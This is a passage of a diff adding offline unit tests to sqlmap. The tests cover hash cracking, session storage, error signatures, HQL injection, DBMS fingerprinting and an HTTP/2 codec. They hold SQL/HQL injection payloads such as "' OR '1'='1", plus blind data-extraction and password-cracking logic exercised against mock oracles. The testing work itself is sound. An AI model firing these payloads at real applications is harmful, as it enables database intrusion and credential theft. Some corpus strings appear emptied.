"test_hash_crack_bare.txt") + with open(path, "w") as f: + f.write("%s\n" % MD5_HASH) + self._tmpfiles.append(path) + + conf.hashFile = path + self.assertIsNone(H.crackHashFile(path)) + + from lib.core.settings import DUMMY_USER_PREFIX + self.assertEqual(len(self._captured), 1) + (key, value), = self._captured.items() + # the synthesised key uses the dummy-user prefix and maps to the bare hash + self.assertTrue(key.startswith(DUMMY_USER_PREFIX), + msg="bare line was not assigned a dummy user: %r" % key) + self.assertEqual(value, [MD5_HASH]) + + +class TestAttackCachedUsersPasswords(_CrackBase): + def test_annotates_cleartext(self): + kb.data.cachedUsersPasswords = {"admin": [MD5_HASH]} + H.attackCachedUsersPasswords() + # the original value is augmented in place with the recovered clear-text + self.assertIn("clear-text password: %s" % PW, kb.data.cachedUsersPasswords["admin"][0]) + + def test_no_cached_data_is_noop(self): + kb.data.cachedUsersPasswords = {} + # must simply return without touching anything + self.assertIsNone(H.attackCachedUsersPasswords()) + + +class TestStoreHashesToFile(_CrackBase): + def _hash_tempfiles(self): + pattern = os.path.join(tempfile.gettempdir(), MKSTEMP_PREFIX.HASHES + "*") + return set(glob.glob(pattern)) + + def test_store_disabled_writes_nothing(self): + kb.choices.storeHashes = False + before = self._hash_tempfiles() + H.storeHashesToFile({"admin": [MD5_HASH]}) + self.assertEqual(self._hash_tempfiles(), before) + + def test_store_enabled_writes_recognised_hash(self): + kb.choices.storeHashes = True + before = self._hash_tempfiles() + try: + H.storeHashesToFile({"admin": [MD5_HASH]}) + new = self._hash_tempfiles() - before + self.assertEqual(len(new), 1) + with open(next(iter(new))) as fh: + written = fh.read() + self.assertIn(MD5_HASH, written) + self.assertIn("admin", written) + finally: + for path in self._hash_tempfiles() - before: + try: + os.remove(path) + except OSError: + pass + + def test_empty_attack_dict_is_noop(self): + kb.choices.storeHashes = True + before = self._hash_tempfiles() + H.storeHashesToFile({}) + self.assertEqual(self._hash_tempfiles(), before) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_hashdb.py b/tests/test_hashdb.py new file mode 100644 index 00000000000..e7475474e3c --- /dev/null +++ b/tests/test_hashdb.py @@ -0,0 +1,153 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Session storage layer (lib/utils/hashdb.py) - the on-disk SQLite cache that +makes --flush-session / resume work. + +Exercised against a REAL temporary SQLite file (no network, no DBMS): scalar +write/retrieve, serialized round-trip for every container type sqlmap stores, +overwrite semantics, missing-key -> None, and key-hash determinism. + +This is also the end-to-end regression for the base64-pickle bytes fix: a +serialized value containing raw `bytes` must survive a write/flush/retrieve +cycle on both Python 2 and 3 (it silently failed on py3 before the patch.py fix). +""" + +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils.hashdb import HashDB +from lib.core.datatype import AttribDict +from lib.core.bigarray import BigArray + + +class _HashDBCase(unittest.TestCase): + def setUp(self): + fd, self.path = tempfile.mkstemp(suffix=".sqlite") + os.close(fd) + os.remove(self.path) # HashDB creates it lazily + self.db = HashDB(self.path) + + def tearDown(self): + try: + self.db.closeAll() + except Exception: + pass + if os.path.exists(self.path): + os.remove(self.path) + + +class TestScalar(_HashDBCase): + def test_string_roundtrip(self): + self.db.write("greeting", "hello") + self.db.flush() + self.assertEqual(self.db.retrieve("greeting"), "hello") + + def test_non_serialized_number_comes_back_as_text(self): + # non-serialized writes are stored via getUnicode() + self.db.write("num", 5) + self.db.flush() + self.assertEqual(self.db.retrieve("num"), "5") + + def test_missing_key_is_none(self): + self.assertIsNone(self.db.retrieve("never-written")) + + def test_overwrite_last_wins(self): + self.db.write("k", "v1") + self.db.write("k", "v2") + self.db.flush() + self.assertEqual(self.db.retrieve("k"), "v2") + + def test_keys_are_independent(self): + self.db.write("a", "1") + self.db.write("b", "2") + self.db.flush() + self.assertEqual(self.db.retrieve("a"), "1") + self.assertEqual(self.db.retrieve("b"), "2") + + +class TestSerialized(_HashDBCase): + def test_list_dict_tuple_set(self): + cases = { + "list": [1, 2, 3, "x"], + "dict": {"k": [1, {"n": "v"}]}, + "tuple": (1, "a", None), + "set": set([1, 2, 3]), + } + for key, val in cases.items(): + self.db.write(key, val, True) + self.db.flush() + for key, val in cases.items(): + self.assertEqual(self.db.retrieve(key, True), val, msg="serialized round-trip for %s" % key) + + def test_attribdict_roundtrip(self): + ad = AttribDict() + ad.x = 1 + ad.y = [1, 2] + self.db.write("ad", ad, True) + self.db.flush() + got = self.db.retrieve("ad", True) + self.assertIsInstance(got, AttribDict) + self.assertEqual(got.x, 1) + self.assertEqual(got.y, [1, 2]) + + def test_foreign_mapping_roundtrips_as_dict(self): + # a stdlib dict subclass (e.g. OrderedDict) must round-trip its data rather than + # silently degrade to its text repr (session codec: round-trip or fail loudly) + from collections import OrderedDict + from thirdparty import six + val = OrderedDict([("b", 2), ("a", [1, {"n": "v"}])]) + self.db.write("od", val, True) + self.db.flush() + got = self.db.retrieve("od", True) + self.assertEqual(got, {"b": 2, "a": [1, {"n": "v"}]}) # data preserved (was lost to text repr before) + if six.PY3: + self.assertEqual(list(got), ["b", "a"]) # order preserved where dicts are ordered + + def test_bigarray_roundtrip(self): + self.db.write("ba", BigArray([1, 2, 3]), True) + self.db.flush() + got = self.db.retrieve("ba", True) + self.assertIsInstance(got, BigArray) + self.assertEqual(list(got), [1, 2, 3]) + + def test_bytes_containing_value_survives(self): + # REGRESSION (base64-pickle bytes fix): silently failed to restore on py3 before the fix. + # Must round-trip through SQLite, not the in-memory caches: write+flush here, then open a + # FRESH HashDB on the same file (empty read/write caches) so retrieve() hits the disk path. + value = {"raw": b"\x00\x01\xff", "items": [b"ab", "s", 1]} + self.db.write("bytesval", value, True) + self.db.flush() + + fresh = HashDB(self.path) + try: + # sanity: the value is genuinely not in the fresh in-memory caches + self.assertFalse(fresh._write_cache) + hash_ = HashDB.hashKey("bytesval") + self.assertIsNone(fresh._read_cache.get(hash_)) + self.assertEqual(fresh.retrieve("bytesval", True), value) + finally: + fresh.closeAll() + + +class TestKeyHashing(_HashDBCase): + def test_distinct_keys_distinct_hashes(self): + # a broken hashKey that keys only on (say) length or the last char would collide; require + # 200 distinct keys to map to 200 distinct hashes. (Determinism is implied: the retrieve + # round-trips in TestScalar already depend on hashKey being stable.) + keys = ["key_%d_%s" % (i, "abcdefgh"[i % 8]) for i in range(200)] + hashes = set(HashDB.hashKey(k) for k in keys) + self.assertEqual(len(hashes), len(keys), msg="hashKey produced collisions across distinct keys") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_heuristic_signatures.py b/tests/test_heuristic_signatures.py new file mode 100644 index 00000000000..4da9c31e52e --- /dev/null +++ b/tests/test_heuristic_signatures.py @@ -0,0 +1,255 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Cross-engine invariants of the non-SQL heuristic signatures in lib/core/settings.py. + +heuristicCheckSqlInjection() tries every one of these regexes against the same response and prints a +hint for each one that matches. There is no order and no priority, so a signature that is a little too +generous does not merely lose precision - it makes sqlmap recommend a switch that has nothing to do +with the target. The two ways that happens: + + overlap one engine claims another engine's error (a stylesheet failure suggesting '--xpath', + a Hibernate failure suggesting '--nosql', an XML parser failure suggesting '--xpath'). + false positive a signature matches a page that is not an error at all - a surname that contains + 'pug', a "), + (NOBODY, "asset (handlebars)", ""), + (NOBODY, "colour name", ""), + (NOBODY, "error page", "

    500 Internal Server Error

    The server encountered an internal error.

    "), + (NOBODY, "CSS comment", "/* template error state: .alert{color:red} */"), + (NOBODY, "documentation", "This page explains how to use a query exception handler in your application."), + (NOBODY, "calculator", "Invalid expression: 2++2"), +) + +# The only overlaps that are allowed, because the error text really does belong to both. libxslt and +# .NET report the failure of an XPath expression that sits inside a stylesheet, so both switches are +# worth trying - which is what the response says. Anything else is a bug in the signatures. +ACCEPTED_SHARED = { + ("xslt", ".NET"): ("xpath",), + ("xslt", "libxslt runtime"): ("xpath",), + # breaking a stylesheet also breaks the XML that carries it, so libxml2 reports a malformed + # document as well. Harmless: the XXE hint needs an XML/SOAP request body to fire at all + ("xslt", "libxslt (live)"): ("xxe",), +} + + +def _matches(text): + return tuple(name for name, regex in ENGINES if re.search(regex, text)) + + +class HeuristicSignatureTest(unittest.TestCase): + def test_each_engine_recognises_its_own_errors(self): + for owner, backend, text in CORPUS: + if owner == NOBODY: + continue + self.assertIn(owner, _matches(text), + msg="'--%s' no longer recognises its own %s error: %r" % (owner, backend, text)) + + def test_no_engine_claims_another_engines_error(self): + for owner, backend, text in CORPUS: + if owner == NOBODY: + continue + allowed = ACCEPTED_SHARED.get((owner, backend), ()) + stolen = [_ for _ in _matches(text) if _ != owner and _ not in allowed] + self.assertEqual(stolen, [], + msg="a %s %s error also suggests %s" % (owner, backend, '/'.join("'--%s'" % _ for _ in stolen))) + + def test_nothing_fires_on_sql_errors_or_ordinary_pages(self): + for owner, backend, text in CORPUS: + if owner != NOBODY: + continue + fired = _matches(text) + self.assertEqual(fired, (), + msg="%s output suggests %s: %r" % (backend, '/'.join("'--%s'" % _ for _ in fired), text)) + + def test_no_signature_has_an_unbounded_gap(self): + # an unbounded '.*' between a literal and a keyword is quadratic on a long line (minified + # JS/JSON, a one-line JSON error body), which is how a stray 'xpath' in a 400KB response + # cost ~25s per parameter - and made the regex engine itself blow up (#5994, #6105). + # The bounded form ('[^\n]{0,100}?') matches the same real errors in constant work + for name, regex in ENGINES: + found = re.search(r"(?lorem ipsum dolor sit amet consectetur adipiscing elit" + ''.join("%s " % _ for _ in ("xpath", "HQL", "ParseException", "NameError", "Entity x", "handlebars", "no such file", "Twig"))) * 2000 + + for name, regex in ENGINES: + start = time.time() + re.search(regex, page) + elapsed = time.time() - start + self.assertLess(elapsed, 2, msg="'--%s' signatures took %.1fs on a %dKB single-line response" % (name, elapsed, len(page) // 1024)) + + def test_every_engine_is_covered(self): + # a new switch must arrive here with its own errors, or the matrix above proves nothing about it + owners = set(owner for owner, _, _ in CORPUS) + missing = set(name for name, _ in ENGINES) - owners + self.assertEqual(missing, set(), msg="engines with no corpus entry: %s" % missing) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_hql.py b/tests/test_hql.py new file mode 100644 index 00000000000..113c7ac3858 --- /dev/null +++ b/tests/test_hql.py @@ -0,0 +1,298 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the HQL/JPQL (Hibernate ORM) injection engine. Mock +oracles stand in for the HTTP/ORM layer so detection, fingerprinting, entity leakage, +blind attribute enumeration, value extraction and output formatting can be exercised +without a live Hibernate target. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.techniques.hql.inject as hql + + +class TestHelpers(unittest.TestCase): + def test_ratio(self): + self.assertGreater(hql._ratio("abc", "abc"), 0.9) + self.assertLess(hql._ratio("abc", "xyz"), 0.5) + + def test_is_error(self): + self.assertTrue(hql._isError("org.hibernate.query.SyntaxException: token recognition error at: '''")) + self.assertTrue(hql._isError("org.hibernate.query.sqm.UnknownEntityException: Could not resolve root entity 'Ghost'")) + self.assertFalse(hql._isError("normal page content")) + + def test_backend_from_error(self): + self.assertEqual(hql._backendFromError("org.hibernate.query.SemanticException: boom"), "Hibernate") + self.assertIsNotNone(hql._backendFromError("org.eclipse.persistence.exceptions.JPQLException")) + self.assertIsNone(hql._backendFromError("plain page")) + + def test_entity_from_error(self): + self.assertEqual(hql._entityFromError("Could not resolve attribute 'zzz' of 'lab.App$Member'"), "lab.App$Member") + self.assertEqual(hql._entityFromError("Could not resolve root entity 'Ghost'"), "Ghost") + self.assertIsNone(hql._entityFromError("nothing here")) + + def test_short_entity(self): + self.assertEqual(hql._shortEntity("lab.App$Member"), "Member") + self.assertEqual(hql._shortEntity("com.acme.model.User"), "User") + self.assertEqual(hql._shortEntity("User"), "User") + + +class TestOriginalValue(unittest.TestCase): + def setUp(self): + self.originalParameters = hql.conf.parameters + self.originalParamDict = hql.conf.paramDict + + def tearDown(self): + hql.conf.parameters = self.originalParameters + hql.conf.paramDict = self.originalParamDict + + def test_original_value_parsed_from_raw_query_string(self): + hql.conf.parameters = {"GET": "id=1&name=alice"} + self.assertEqual(hql._originalValue("GET", "name"), "alice") + + def test_original_value_falls_back_to_param_dict(self): + hql.conf.parameters = {} + hql.conf.paramDict = {"GET": {"name": "bob"}} + self.assertEqual(hql._originalValue("GET", "name"), "bob") + + def test_original_value_missing_returns_empty(self): + hql.conf.parameters = {} + hql.conf.paramDict = {} + self.assertEqual(hql._originalValue("GET", "nope"), "") + + +class TestBoundary(unittest.TestCase): + def test_wrap_string(self): + b = hql.Boundary("' OR ", " OR '1'='2", True) + self.assertEqual(hql._wrap("SEN", b, "1=1"), "SEN' OR 1=1 OR '1'='2") + + def test_base_sentinel_vs_numeric(self): + self.assertEqual(hql._base(hql.Boundary("' OR ", " OR '1'='2", True), "x"), hql.SENTINEL) + self.assertEqual(hql._base(hql.Boundary(" OR ", "", False), "5"), "-1") + + def test_scalar_casts_attribute(self): + expr = hql._scalar("Member", "LENGTH(CAST(_h.id AS string))", "id") + self.assertIn("CAST(_h.id AS string)", expr) + self.assertIn("FROM Member _h", expr) + self.assertIn("MIN(_h2.id)", expr) + + +class TestDetection(unittest.TestCase): + def setUp(self): + self.original = hql._send + + def tearDown(self): + hql._send = self.original + + def test_boolean_detection(self): + # TRUE payloads return rows, FALSE payloads return an empty (but stable) page + def mock(place, parameter, value): + if "OR '1'='1" in value or "OR 1=1" in value: + return "
    alice
    bob
    " + return "" + hql._send = mock + template, payload, boundary = hql._detectBoolean("GET", "name") + self.assertIsNotNone(template) + self.assertIn("OR '1'='1", payload) + self.assertTrue(boundary.sentinel) + + def test_no_detection_when_static(self): + hql._send = lambda place, parameter, value: "same" + template, _, _ = hql._detectBoolean("GET", "name") + self.assertIsNone(template) + + def test_confirm_hql_battery_on_orm(self): + # a Hibernate back-end evaluates str(): str(1)='1' true, str(1)='2' false -> diverges -> HQL + # confirmed with no error leakage + def mock(place, parameter, value): + return "
    row
    " if "str(1)='1'" in value else "" + hql._send = mock + boundary = hql.Boundary("' OR ", " OR '1'='2", True) + self.assertTrue(hql._confirmHql("GET", "name", boundary, "x")) + + def test_confirm_hql_battery_rejects_plain_sql(self): + # a raw-SQL back-end has no str() function -> the payload ERRORS on both sides -> no divergence + def mock(place, parameter, value): + if "str(" in value: + return "You have an error in your SQL syntax; no such function: str" + return "
    row
    " + hql._send = mock + boundary = hql.Boundary("' OR ", " OR '1'='2", True) + self.assertFalse(hql._confirmHql("GET", "name", boundary, "x")) + + def test_confirm_hql_battery_rejects_sqlite_flexible_cast(self): + # SQLite accepts arbitrary CAST type names, so CAST(1 AS string)='1' is TRUE on plain SQLite; + # the battery must NOT use cast aliases and must NOT confirm HQL here (str() has no SQLite fn -> + # errors -> no divergence). This is the exact P0-3 false-positive being guarded against. + def mock(place, parameter, value): + if "str(" in value: # SQLite: no such function -> error + return "SQLite error: no such function: str" + if "CAST(1 AS string)='1'" in value: # SQLite WOULD accept this as true... + return "
    row
    " + return "" + hql._send = mock + boundary = hql.Boundary("' OR ", " OR '1'='2", True) + self.assertFalse(hql._confirmHql("GET", "name", boundary, "x")) # ...but the battery no longer uses casts + + +def _recordOracle(record, entity="Member"): + """Build a truth(predicate) that answers the LENGTH/SUBSTRING/EXISTS predicates + the engine emits, evaluated against an in-memory record dict.""" + + def truth(predicate): + # entity brute / attribute existence + m = re.search(r"FROM (\w+) _h", predicate) + if m and m.group(1) != entity: + return False + # entity brute: EXISTS(SELECT 1 FROM _h) + if re.search(r"EXISTS\(SELECT 1 FROM \w+ _h\)", predicate): + return True + # attribute existence: EXISTS(SELECT _h. FROM _h) + m = re.search(r"SELECT _h\.(\w+) FROM", predicate) + if m: + return m.group(1) in record + # length: LENGTH(CAST(_h. AS string)) ... >= N + if "LENGTH" in predicate: + m = re.search(r"CAST\(_h\.(\w+) AS string\)", predicate) + n = re.search(r">=(\d+)", predicate) + if m and n: + return len(str(record.get(m.group(1), ""))) >= int(n.group(1)) + # char: LOCATE(SUBSTRING(CAST(_h. AS string),,1),'') ... >= + if "LOCATE" in predicate: + m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'", predicate) + n = re.search(r">=(\d+)\s*$", predicate) + if m and n: + attr, pos, literal = m.group(1), int(m.group(2)), m.group(3) + value = str(record.get(attr, "")) + index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0 + return index >= int(n.group(1)) + return False + + return truth + + +class TestExtraction(unittest.TestCase): + def setUp(self): + self.record = {"id": "1", "name": "alice", "secret": "s3cr3t-alice", "role": "admin"} + self.truth = _recordOracle(self.record) + + def test_brute_entities(self): + self.assertEqual(hql._bruteEntities(self.truth), ["Member"]) + + def test_enum_fields(self): + fields = hql._enumFields(self.truth, "Member") + for expected in ("id", "name", "secret", "role"): + self.assertIn(expected, fields) + + def test_infer_string_value(self): + self.assertEqual(hql._inferValue(self.truth, "Member", "name", "id"), "alice") + + def test_infer_secret_with_symbols(self): + self.assertEqual(hql._inferValue(self.truth, "Member", "secret", "id"), "s3cr3t-alice") + + def test_infer_numeric_via_cast(self): + self.assertEqual(hql._inferValue(self.truth, "Member", "id", "id"), "1") + + def test_infer_absent_attribute_empty(self): + self.assertEqual(hql._inferValue(self.truth, "Member", "nope", "id"), "") + + def test_infer_inconclusive_aborts_value(self): + """A truth() that stays INCONCLUSIVE must abort the value (return None) rather than emit a + length/char chosen from an ambiguous bit.""" + from lib.utils.nonsql import InconclusiveError + + def inconclusiveTruth(predicate): + raise InconclusiveError() + + self.assertIsNone(hql._inferValue(inconclusiveTruth, "Member", "name", "id")) + + +def _multiOracle(records): + """Row-aware oracle: honors the "_h2. > " walk bound by selecting the + smallest-id record strictly greater than `after`.""" + + def pick(predicate): + m = re.search(r"_h2\.\w+>(\d+)", predicate) + after = int(m.group(1)) if m else None + cands = [r for r in records if after is None or int(r["id"]) > after] + return min(cands, key=lambda r: int(r["id"])) if cands else None + + def truth(predicate): + if re.search(r"EXISTS\(SELECT 1 FROM \w+ _h\)", predicate): + return True + m = re.search(r"EXISTS\(SELECT _h\.(\w+) FROM", predicate) + if m: + return m.group(1) in records[0] + rec = pick(predicate) + if rec is None: + return False + if "LENGTH" in predicate: + m = re.search(r"CAST\(_h\.(\w+) AS string\)", predicate) + n = re.search(r">=(\d+)", predicate) + if m and n: + return len(str(rec.get(m.group(1), ""))) >= int(n.group(1)) + if "LOCATE" in predicate: + m = re.search(r"SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'", predicate) + n = re.search(r">=(\d+)\s*$", predicate) + if m and n: + value = str(rec.get(m.group(1), "")) + pos, literal = int(m.group(2)), m.group(3) + index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0 + return index >= int(n.group(1)) + return False + + return truth + + +class TestMultiRow(unittest.TestCase): + def setUp(self): + self.records = [ + {"id": "1", "name": "alice", "role": "admin"}, + {"id": "2", "name": "bob", "role": "user"}, + {"id": "5", "name": "carol", "role": "staff"}, + ] + self.truth = _multiOracle(self.records) + + def _walk(self, fields, pin): + rows, after = [], None + for _ in range(20): + pinValue = hql._inferValue(self.truth, "Member", pin, pin, after) + if not pinValue: + break + record = {pin: pinValue} + for field in fields: + if field != pin: + record[field] = hql._inferValue(self.truth, "Member", field, pin, after) + rows.append(record) + if not re.match(r"\A\d+\Z", pinValue): + break + after = pinValue + return rows + + def test_walks_all_rows_in_order(self): + rows = self._walk(["id", "name", "role"], "id") + self.assertEqual([r["name"] for r in rows], ["alice", "bob", "carol"]) + self.assertEqual([r["id"] for r in rows], ["1", "2", "5"]) + self.assertEqual(rows[2]["role"], "staff") + + +class TestGrid(unittest.TestCase): + def test_grid(self): + out = hql._grid(["id", "name"], [["1", "alice"]]) + self.assertIn("alice", out) + self.assertIn("+--", out) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_html_parser_forks.py b/tests/test_html_parser_forks.py new file mode 100644 index 00000000000..6419ab87206 --- /dev/null +++ b/tests/test_html_parser_forks.py @@ -0,0 +1,98 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.data import kb +from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.parse.html import htmlParser + + +class TestHtmlParserForks(unittest.TestCase): + def setUp(self): + kb.forkNote = None + kb.cache.parsedDbms.clear() + + # NOTE: these forks all speak the PostgreSQL wire protocol and inherit its error wording, so + # the brand name itself never appears next to 'ERROR:' - only a leaked driver package or an + # engine-internal source reference tells them apart from stock PostgreSQL + def test_cockroachdb_error_fingerprint(self): + for page in ( + "ERROR: relation \"crdb_internal.tables\" does not exist", + "DETAIL: stack trace: github.com/cockroachdb/cockroach/pkg/sql/conn_executor.go:733", + ): + kb.forkNote = None + kb.cache.parsedDbms.clear() + self.assertEqual(htmlParser(page), DBMS.PGSQL) + self.assertEqual(kb.forkNote, FORK.COCKROACHDB) + + def test_yugabytedb_error_fingerprint(self): + for page in ( + "com.yugabyte.util.PSQLException: ERROR: syntax error at or near \"'\"", + "ERROR: Query error: [Query error (yb/tserver/read_query.cc:265): MISMATCHED_SCHEMA]", + ): + kb.forkNote = None + kb.cache.parsedDbms.clear() + self.assertEqual(htmlParser(page), DBMS.PGSQL) + self.assertEqual(kb.forkNote, FORK.YUGABYTEDB) + + def test_opengauss_error_fingerprint(self): + page = "org.opengauss.util.PSQLException: ERROR: syntax error at or near \"'\"" + dbms = htmlParser(page) + self.assertEqual(dbms, DBMS.PGSQL) + self.assertEqual(kb.forkNote, FORK.OPENGAUSS) + + def test_duckdb_error_fingerprint(self): + # Messages below are verbatim from DuckDB 1.1.3/1.5.5 (the module was renamed + #'duckdb.duckdb' -> '_duckdb') + for page in ( + "_duckdb.ParserException: Parser Error: unterminated quoted string at or near \"'''\"", + "duckdb.duckdb.CatalogException: Catalog Error: Table with name t does not exist!", + "_duckdb.BinderException: Binder Error: Referenced column \"x\" not found in FROM clause!", + "at org.duckdb.DuckDBPreparedStatement.execute(DuckDBPreparedStatement.java:180)", + ): + kb.forkNote = None + kb.cache.parsedDbms.clear() + self.assertEqual(htmlParser(page), DBMS.PGSQL) + self.assertEqual(kb.forkNote, FORK.DUCKDB) + + def test_trino_error_fingerprint(self): + # the generic Presto 'mismatched input' entry also matches, so this pins the ordering + # that keeps the Trino fork note from being swallowed by it + page = "io.trino.jdbc.TrinoSQLException: line 1:15: mismatched input 'FROM'. Expecting: " + dbms = htmlParser(page) + self.assertEqual(dbms, DBMS.PRESTO) + self.assertEqual(kb.forkNote, FORK.TRINO) + + def test_doris_error_fingerprint(self): + # Doris speaks the MySQL wire protocol, so the client-side exception is MySQL's own - + # only the leaked FE package name tells the fork apart + page = "com.mysql.jdbc.exceptions.MySQLSyntaxErrorException at org.apache.doris.qe.ConnectProcessor" + dbms = htmlParser(page) + self.assertEqual(dbms, DBMS.MYSQL) + self.assertEqual(kb.forkNote, FORK.DORIS) + + def test_starrocks_error_fingerprint(self): + for page in ( + "com.mysql.jdbc.exceptions.MySQLSyntaxErrorException at com.starrocks.qe.ConnectProcessor", + "(1064, 'Getting syntax error from line 1, column 7 to line 1, column 62. Detail message: x.')", + ): + kb.forkNote = None + kb.cache.parsedDbms.clear() + self.assertEqual(htmlParser(page), DBMS.MYSQL) + self.assertEqual(kb.forkNote, FORK.STARROCKS) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_http2.py b/tests/test_http2.py new file mode 100644 index 00000000000..7ac0b225554 --- /dev/null +++ b/tests/test_http2.py @@ -0,0 +1,904 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Coverage for the native HTTP/2 client in lib/request/http2.py: frame and HPACK +codecs, request/response validation, connection state, flow control, retries, +URL handling, TLS policy, and the urllib-compatible H2Response wrapper. + +Most tests are deterministic and network-free. When python-hyper/h2 is installed, +two optional socketpair tests exercise an end-to-end local HTTP/2 peer; they never +use the external network. Known vectors are the canonical RFC 7541 examples. + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import binascii +import os +import socket +import ssl +import struct +import sys +import threading +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.request import http2 as _http2 +from lib.request.http2 import ( + Decoder, + Encoder, + H2CompressionError, + H2Error, + H2ProtocolError, + H2TransportError, + H2Response, + MAX_INFORMATIONAL_RESPONSES, + DEFAULT_MAX_FRAME_SIZE, + DEFAULT_WINDOW, + LOCAL_INITIAL_WINDOW, + SETTINGS_ENABLE_PUSH, + GOAWAY, + CONTINUATION, + REDIRECT_CODES, + STATIC_LEN, + STATIC_TABLE, + DATA, + HEADERS, + FLAG_END_HEADERS, + FLAG_END_STREAM, + decode_frame_header, + decode_integer, + decode_string, + encode_frame, + encode_integer, + encode_string, + huffman_decode, + huffman_encode, + _H2Connection, + _authority_for_host, + _make_ssl_context, + _parse_content_length, + _request_header_list, + _validate_response_field_section, +) + +try: + from h2.config import H2Configuration + from h2.connection import H2Connection as ReferenceH2Connection + from h2.events import DataReceived, RequestReceived, StreamEnded + HAVE_H2 = True +except ImportError: + HAVE_H2 = False + + +def _b(*ints): + # build a bytes object from ints (identical on Python 2 and 3) + return bytes(bytearray(ints)) + + +class _FakeSocket(object): + def __init__(self, incoming=b""): + self.incoming = bytearray(incoming) + self.sent = [] + self.timeout = None + self.closed = False + + def recv(self, size): + if not self.incoming: + return b"" + chunk = bytes(self.incoming[:size]) + del self.incoming[:size] + return chunk + + def sendall(self, data): + self.sent.append(bytes(data)) + + def settimeout(self, timeout): + self.timeout = timeout + + def close(self): + self.closed = True + + +def _bare_connection(incoming=b""): + conn = object.__new__(_H2Connection) + conn.host = "example.test" + conn.port = 443 + conn.proxy = None + conn.dec = Decoder() + conn.next_sid = 1 + conn.usable = True + conn.sock = _FakeSocket(incoming) + conn.peer_max_frame_size = DEFAULT_MAX_FRAME_SIZE + conn.peer_initial_window = DEFAULT_WINDOW + conn.peer_max_concurrent_streams = None + conn.peer_max_header_list_size = None + conn.conn_send_window = DEFAULT_WINDOW + conn.conn_recv_window = LOCAL_INITIAL_WINDOW + conn.stream_send_windows = {} + conn.local_max_frame_size = DEFAULT_MAX_FRAME_SIZE + conn._our_settings_acked = False + return conn + + +def _response_block(status=b"200", extra=()): + return Encoder().encode([(b":status", status)] + list(extra)) + + +def _frames_from_bytes(data): + result = [] + pos = 0 + while pos < len(data): + length, ftype, flags, sid = decode_frame_header(data[pos:pos + 9]) + pos += 9 + payload = data[pos:pos + length] + pos += length + result.append((ftype, flags, sid, payload)) + if pos != len(data): + raise AssertionError("trailing frame bytes") + return result + + +class TestFrameCodec(unittest.TestCase): + def test_roundtrip(self): + header = encode_frame(HEADERS, FLAG_END_HEADERS, 1, b"abc")[:9] + self.assertEqual(decode_frame_header(header), (3, HEADERS, FLAG_END_HEADERS, 1)) + + def test_payload_is_appended_verbatim(self): + frame = encode_frame(DATA, 0, 1, b"hello") + self.assertEqual(frame[9:], b"hello") + + def test_reserved_stream_bit_is_masked(self): + # the high (reserved) bit of the 31-bit stream id is rejected + with self.assertRaises(ValueError): + encode_frame(DATA, 0, 0x80000001, b"") + + def test_zero_length_payload(self): + header = encode_frame(DATA, FLAG_END_STREAM, 1, b"")[:9] + length, _, flags, _ = decode_frame_header(header) + self.assertEqual(length, 0) + self.assertEqual(flags, FLAG_END_STREAM) + + def test_oversized_payload_rejected(self): + with self.assertRaises(ValueError): + encode_frame(DATA, 0, 1, b"x" * (0xFFFFFF + 1)) + + def test_bad_header_length_rejected(self): + with self.assertRaises(ValueError): + decode_frame_header(b"123") + + +class TestIntegerCoding(unittest.TestCase): + def test_rfc_c11_small(self): + # RFC 7541 C.1.1: 10 with a 5-bit prefix fits in the prefix + self.assertEqual(list(encode_integer(10, 5)), [10]) + + def test_rfc_c12_multibyte(self): + # RFC 7541 C.1.2: 1337 with a 5-bit prefix + self.assertEqual(list(encode_integer(1337, 5)), [31, 154, 10]) + self.assertEqual(decode_integer(bytearray([31, 154, 10]), 0, 5), (1337, 3)) + + def test_rfc_c13_full_byte_prefix(self): + # RFC 7541 C.1.3: 42 starting from a full (8-bit prefix at an octet boundary) + self.assertEqual(list(encode_integer(42, 8)), [42]) + + def test_roundtrip_across_prefixes(self): + for prefix in (4, 5, 6, 7, 8): + for value in (0, 1, 2, 30, 31, 32, 127, 128, 255, 256, 16384, 1000000): + encoded = bytearray(encode_integer(value, prefix)) + decoded, pos = decode_integer(encoded, 0, prefix) + self.assertEqual(decoded, value) + self.assertEqual(pos, len(encoded)) + + def test_first_byte_bits_preserved(self): + # a caller-supplied opcode in the high bits must survive a small value + self.assertEqual(bytearray(encode_integer(5, 7, 0x80))[0], 0x80 | 5) + + def test_negative_value_rejected(self): + with self.assertRaises(ValueError): + encode_integer(-1, 5) + + def test_truncated_multibyte_integer_rejected(self): + with self.assertRaises(H2CompressionError): + decode_integer(bytearray([31, 0x80]), 0, 5) + + def test_overlong_integer_rejected(self): + with self.assertRaises(H2CompressionError): + 